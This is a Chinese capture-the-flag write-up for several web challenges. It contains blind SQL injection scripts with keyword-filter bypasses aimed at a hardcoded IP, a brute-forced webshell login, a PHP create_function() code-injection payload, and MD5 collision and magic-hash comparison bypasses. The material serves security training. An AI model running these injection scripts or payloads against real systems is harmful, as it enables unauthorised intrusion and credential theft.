掘安团队的题目
平台已不运营
发现请求URL为flag.php,但是会跳转到404.php页面,抓包发现有302重定向,查看响应包,flag经过base64编码,解码即可
Tips:
重定向分为301和302两种
301为永久性
302为暂时性
直接请求?file=flag.php,获取源码,直接使用解密函数即可
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key);
//添加下面的语句即可
echo decrypt($flag,$key);
?>
御剑扫描一波
登入shell.php
可以使用burp暴力破解,密码为hack
看到一个登陆页面,随便输入
有返回报错信息,可以构造or语句,获取登陆密码和用户名
select id,username,password from `admin` where username='admin'用户名:admin不正确
构造如下
select id,username,password from `admin` where username='' or ascii(substr((select password from `admin` limit 0,1),1,1))>1 # ''
写个脚本Fuzz一下
import requests
from bs4 import BeautifulSoup
url = 'http://120.79.1.69:10005/index.php?check'
uname_list = [' ', 'select', 'or', 'and', 'union', '\'', 'from', '\\', '#', '--', '+']
for i in uname_list:
data = {'username':i}
result = requests.post(url=url, data=data)
soup = BeautifulSoup(result.text,'lxml')
links = soup.find_all('div', class_='tip')
for j in links:
print(i + " 结果 " + j.get_text())
print('************************************')
可以知道,空格,select,or,union被过滤,但是可以采取重写方式绕过,空格采取/**/方式绕过
注入脚本
import requests
from bs4 import BeautifulSoup
url = 'http://120.79.1.69:10005/index.php?check'
password = []
#s = "'/**/oorr/**/length((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1))=3/**/#'"
#判断长度
for i in range(0,100):
s = "'/**/oorr/**/length((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1))="+str(i)+"/**/#'"
data = {'username':s}
result = requests.post(url=url, data=data)
if('goodboy' in result.text):
print(i)
length_pass = i
soup = BeautifulSoup(result.text,'lxml')
links = soup.find_all('div', class_='tip')
for x in links:
print(" 结果 " + x.get_text())
print('************************************')
break
#s = "'/**/oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),1,1))>1/**/#'"
#判断内容
l = 1
for i in range(1,length_pass+1):
for j in range(32,127):
s = "'/**/oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),"+str(i)+",1))"+"="+str(j)+"/**/#'"
data = {'username':s}
result = requests.post(url=url, data=data)
if('goodboy' in result.text):
print("第" + str(l) + "次")
l = l + 1
password.append(chr(int(j)))
continue
print(''.join(password))
#ajahas&&*44askldajaj
#goodboy_g-60Hellowor 这里过滤了or 应输入 goodboy_g-60Hellowoorr
快速计算脚本
import requests
from bs4 import BeautifulSoup
url = 'http://120.79.1.69:10005/index.php'
sess = requests.Session()
r = sess.get(url=url)
soup = BeautifulSoup(r.text,'lxml')
links = soup.find_all('div', class_='rep')
for i in links:
s = i.get_text()
s = s.replace('(','(')
s = s.replace(')',')')
s = s.replace('X','*')
print(s)
num = eval(s)
print(num)
urls = 'http://120.79.1.69:10005/index.php?check'
password = 'ajahas&&*44askldajaj'
uname = 'goodboy_g-60Hellowoorr'
data = {'username':uname, 'password':password, 'code':num}
res = sess.post(url=urls, data=data)
print(res.text)
得到的响应,一个压缩包,也给出了解压密码
解压之后,有一个加密的flag.zip,Form1.txt给出了解密方法,python脚本破解一下,结果是VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk
re_string = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
def get_password(s):
i = 1
k = ''
while(i <= len(s)):
k = k + s[i-1:i]
i = i + (i%5)
return k
password = get_password(re_string)
print(get_password(password))
快速计算的那个也可以用正则表达式,这里用的是beautifulsoup解析,根据他class=rep这个唯一特征。
代码审计的题目
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
这一题是create_function()注入。正则表达式中/i不区分大小写,/s匹配任何不可见字符,/D如果使用$限制结尾字符,则不允许结尾有换行。相当于在不允许使用数字字母下划线的情况下,调用函数。
这里使用的绕过方案是在函数前面加一个 ?,P神在小密圈的解释
php里默认命名空间是 ,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
对于create_function(),官方给的解释如下图
以如下代码为例
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
第一行代码等价于
eval(
function __lambda_func($a, $b){
return "ln($a) + ln($b) = " . log($a * $b);
}
)
在本题中,构造$action=\create_function,$action($arg,‘‘); 即为:
function lambda_1($arg){
'';
}
构造$arg=){}print_r(scandir(‘./‘));/*,即可。
又是代码审计
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
第一部分
参考这篇文章:基于全等的MD5碰撞绕过
D:\fastcoll>fastcoll_v1.0.0.5.exe -o test0.txt test1.txt //-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p test1.txt -o test00.txt test01.txt
//-p参数代表根据test1.txt文件随机生成两个相同MD5的文件,注意:生成的MD5与test1.txt不同
D:\fastcoll>tail.exe -c 128 test00.txt > a.txt //-c 128代表将test00.txt的最后128位写入文件a,这128位正是test1.txt与test00.txt的MD5不同的原因
D:\fastcoll>tail.exe -c 128 test01.txt > b.txt //同理
D:\fastcoll>type test0.txt a.txt > test10.txt //这里表示将test0.txt和a.txt文件的内容合并写入test10.txt
D:\fastcoll>type test0.txt b.txt > test11.txt //同理写入test11.txt
然后对生成的文件进行URL编码,参考这篇文章:如何用不同的数值构建一样的MD5
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo 'test01 '. urlencode(readmyfile("test01.txt"));
echo "<br><br>\r\n";
echo 'test00 '. urlencode(readmyfile("test00.txt"));
echo "<br><br>\r\n";
echo 'test10 '. urlencode(readmyfile("test10.txt"));
echo "<br><br>\r\n";
echo 'test11 '. urlencode(readmyfile("test11.txt"));
echo "<br><br>\r\n";
?>
第二部分
这里使用0e绕过,a的值很明显为QNKCDZO
b的值可以利用这个替换,将一些可能的值替换为我们需要的,is_numeric()函数接受16进制,会把16进制认为是数字,写个脚本找出0e开头的十六进制,然后找出有不大于5个字母数的md5
import hashlib
for i in range(1000,10000):
k = "0x"+str(i)
md5_n = hashlib.md5(k.encode()).hexdigest()
if md5_n[0:2] == "0e":
print(k)
print(md5_n)
结果如图,选择0x6156 0ec4899c94ada8d08a6ada8623c6ff01
构造payload:
原文:https://www.cnblogs.com/peri0d/p/11508875.html